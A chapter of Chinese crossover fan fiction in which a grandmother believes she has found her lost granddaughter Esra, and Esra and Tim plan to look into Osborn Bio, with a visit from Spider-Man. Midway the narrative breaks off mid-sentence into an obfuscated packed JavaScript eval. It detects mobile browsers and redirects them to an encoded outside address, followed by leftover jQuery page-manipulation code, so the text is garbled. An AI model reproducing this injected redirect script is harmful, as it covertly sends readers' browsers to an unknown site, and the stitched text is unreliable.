她从来没有想过孙女还能够找回来。


    奥莉总是告诉她孩子一定还活着，虽然她一直都安慰着奥莉表示相信，但实际上她觉得那样小的孩子，像是特定的目标一样被掠走，存活的可能性实在太小了。


    可女儿那时那么地悲怆，特蕾西叹了口气，决定不再去回忆过去。


    那双浑浊的眼睛里竟全是慈爱。


    血缘是一种很奇怪的东西，即使没有做过任何的DNA测试她仍然觉得那个女孩和自己有血脉相连的紧密。


    她不是那样情绪上头的人，她甚至不信宗教，纯粹的无神论者捂着她陈旧的心脏，感激神明的善意。


    特蕾西还没有通知奥莉，她不想让女儿空欢喜一场，昨天那个孩子在她这里喝了茶，她托了朋友加急去做了测试，等到结果确定了再告诉远在海外的女儿也不耽误什么。


    昏黄的灯光下，狭窄的客厅，整洁的房间，带着温暖的甜香。特蕾西二十多年来终于睡了一个相对安稳的觉。


    -


    出门之前提姆接到了来自芬奇先生的电话，电话诡异地没有显示任何信息，电话那头的芬奇语气听上去认真：“德雷克先生，我想对方的行为开始更加失控了。”


    “好，谢谢您。”提姆简单地回应道。


    他没有多问什么，大概和自己猜测的差不多，果然当时拜托芬奇是相对正确的判断，并不是他不相信芭芭拉或者是其他人，只是如果是芬奇的话，一定更有应对经验。


    他不想再让艾斯拉出现任何的意外。


    “怎么了？”穿戴整齐的艾斯拉站在门口的位置问提姆。她刚刚给维拉发了信息，前一阵子给她打了电话发现她最近工作格外忙碌，于是便没有再打电话了。


    提姆摇了摇头：“是芬奇先生，我之前拜托他了一件事。”


    半晌，艾斯拉并没有敷衍般地通过应答结束这个话题，她只是等待着提姆继续说下去。


    “之前觉得艾拉·罗莎会有进一步的行动，但既然怀疑她和人工智能相关所以就麻烦了一下芬奇先生。”提姆解释道。


    艾斯拉点了点头，虽然提姆并没有说罗丝或许是当年被迫植入自己大脑的一缕人工智能，但是她顺着提姆的猜测有了这样的怀疑。


    既然是这样的话，对方想要收回罗丝就很合理了。


    但这一切毕竟都是来自提姆的猜想，没有太多的证据能够支持——虽然他们或许也不需要证据来支持这一切。


    -


    特蕾西家的位置不算偏僻，至少相对于她的诊所来说在一个更加安全的位置。她的客厅采光很好，窗台上摆着不太难打理的植物。


    艾斯拉和提姆依旧挤在一张不够大的双人沙发上，区别是这一次她心安理得地坐在了提姆的怀里。


    “暂时还没有联系到你的母亲。”特蕾西的脸上带着温暖的笑，泄露出了一丝遗憾。


    艾斯拉看上去一瞬间有些失落，但表示自己也能够理解，特蕾西之前就说过母亲的工作非常忙碌，而且有的时候信号也不一定非常好。她收敛了一下情绪，点了点头，等待特蕾西的下文。


    “不过我给她留了信息，她看到之后会回复的。”特蕾西将泡好的茶和甜点放到了桌上，她就像是一个普通的祖母，说不上有多么的慈祥，但绝对是温暖的。


    艾斯拉蜷缩在沙发上，能够闻到空气中的安心，能够感觉到自己的放松，但又说不出个所以然来，或许是环境让她觉得安心：“我暂时会留在纽约，有一些事情还没有办完。”


    她没有具体说自己想要做的事情，对于这个刚刚相认的祖母，她力图表现出一种虚伪的平静，她知道自己并不会从她这里再获得什么有价值的信息，但又有一种想要和她分享的冲动。


    这样会不会有些过于冒犯了呢。


    艾斯拉笑了笑，没有继续说下去。她不太会和长辈相处，尊敬就是她全部的经验。


    特蕾西并没有表现出想要追问的态度，她只是说了些稀疏平常的往事。


    而提姆则站起了身，表示要借用一下洗手间。


    -


    “你母亲上大学的时候不怎么回家，我也不太清楚究竟发生了什么。”特蕾西说道，她知道这个女孩想要了解自己的身世，但是目前的状况下她不太能够给她足够多的信息。


    一方面奥莉上学的时候究竟发生了什么她的确不是很清楚，另一方面她在确定这是真正的、丢失的孙女之前并不打算透露太深刻的信息。


    那女孩就像是感知到了她的顾左右而言他，于是不再将话题往那些信息上引，而是接上了那些日常的话题。


    她们聊的很开心，那个上午就像是她从小就梦寐以求的家的感觉一样，艾斯拉笑的很开心、由衷的开心。


    和特蕾西告别的时候她再次拥抱了她，这个拥抱似乎是一种满足，一种找到了归宿的安心。


    -


    “拿到了？”艾斯拉牵着提姆的手，两个人朝着车子停放的位置走去。


    提姆点了点头，“我会找人送回哥谭测试。”


    艾斯拉松了口气，“下午去一趟奥斯本怎么样？”她看向提姆，并没有和提姆商量好，这是她单方面的提议。


    “好啊。”提姆欣然答应了，“你认识奥斯本吗？”


    艾斯拉摇了摇头：“当然不是，我不认识奥斯本……哦不，是他不认识我。”她和他缓步走向了车边，“但奥斯本是开放学生参观的，今天下午有一个参观的团队，我们去踩点。”


    “踩点？”提姆惊讶地说道，这词语用的就像是她要去奥斯本偷点什么。


    “对，然后你去偷。”女孩的脸上带着一种“奸计得逞”的笑容，一双眼睛里都是狡黠。


    “我？我吗？”提姆眨巴眨巴那双蓝色的眼睛。


    奥斯本就在曼哈顿，但是卢瑟在大都会，反正要等母亲的消息和提姆送去哥谭做的DNA测试的结果，那就从奥斯本开始查起。


    但按照她的想法她本来是想先调查一下自己当年住的那个医院的，即使找不到当年那个医生了或许还能够找到医院的位置。


    可是偏偏记忆里什么都没有，干净地就像是被谁藏了起来，分明能记住那些具体的场景但却愣是想不起来自己当时在哪家医院，在哪个位置。


    于是她打算先调查更加容易找到信息的地方—


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012705|172951||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    —奥斯本生物。


    既然提姆怀疑是奥斯本生物和卢瑟集团合作的项目，既然是做过的项目就一定会有确切的实验登记内容，除非有人刻意抹去，当然不排除这种可能，但他们需要先确定一下。


    话是这么说，她自己一定是没办法看到那些材料的，在提姆说最是红罗宾之前艾斯拉想到的最佳解决方案是找田中阿姨，生成一个委托任务，花一笔对她来说是巨款的委托金解决这件事。


    但既然能够信任的人刚好有特殊的技能。


    艾斯拉打量着提姆漂亮但满是惊讶的脸：“因为我暂时没办法相信其他人……”


    明知道她说这话只是为了让自己更快的赞成她的计划，并且答应帮她行动。其实她不这么说他也不会拒绝的……


    提姆“嗯”了一声，觉得自己好像踩中某人的圈套。


    从来都是他给别人做圈套的……怎么现在她这么粗浅的计划他都心甘情愿地踩了进去呢。


    暗自唾弃自己，提姆转开了话题：“你想吃点什么？”


    艾斯拉笑的很开心，不再是带着压抑的笑容，是完全放肆地在笑，她说：“先回趟你家？”


    -


    她给彼特发了信息，在确定了对方真的是蜘蛛侠之后她说想要和他再见一面。


    曼哈顿的公寓里，蜘蛛侠贴着她卧室的窗户。


    “嘿，艾斯拉。”他摘掉了自己脸上的面具，有些不好意思，那双棕色的眼睛看上去灵动又包含歉意，“我不是故意隐瞒的……高中那时候我还没有获得这个能力……”


    艾斯拉连忙摆手道：“不不不，这不是你的错。你没有义务告诉我这些，我是想找你帮忙的，放松点，彼特。”


    面前的男人忽地吐了口浊气，像是已经快被压力压垮了一样敏锐地想顾忌所有人的情感，“抱歉，我反应太大了。”


    他蹲在窗台，看上去竟然有些颓唐。


    但她没有太多的时间，在自己房间洗澡的提姆并不知道自己约了老同学。艾斯拉在心里跟彼特道了个歉，省去了那些寒喧，她直白地说道：“我想请你帮个忙，我要去查一下奥斯本生物有没有和卢瑟集团做过合作项目，这个应该是哈利·奥斯本的父亲诺曼·奥斯本还在位的时候的项目，我想哈利可能并不清楚，但你和哈利是好朋友，我想请你帮我试探一下？”


    她这话其实说得非常含蓄，实际上是想让彼特帮自己翻翻奥斯本家有没有想过的材料，因为如果是已经中断的合作或者是废案，但奥斯本又真的做出了“成品”的话诺曼·奥斯本不可能不知道。


    艾斯拉怀疑的是奥斯本生物其实自行做出了成品，但出于某些原因最后还是失败了，或者是被迫失败。


    彼特不愧是彼特，他几乎一瞬间就敏感地察觉到了艾斯拉的意图，那张脸严肃了起来：“艾斯拉，我不会这么对哈利，我可以帮你问问。”


    他拒绝了艾斯拉话里话外的暗示，只答应帮她问问哈利。


    艾斯拉连忙道了歉又道谢，虽然已经猜到了彼特不会答应，但自己总归还是尝试了。


    不知道哪里来的勇气竟然开始学着动用身边全部的一切去做某事……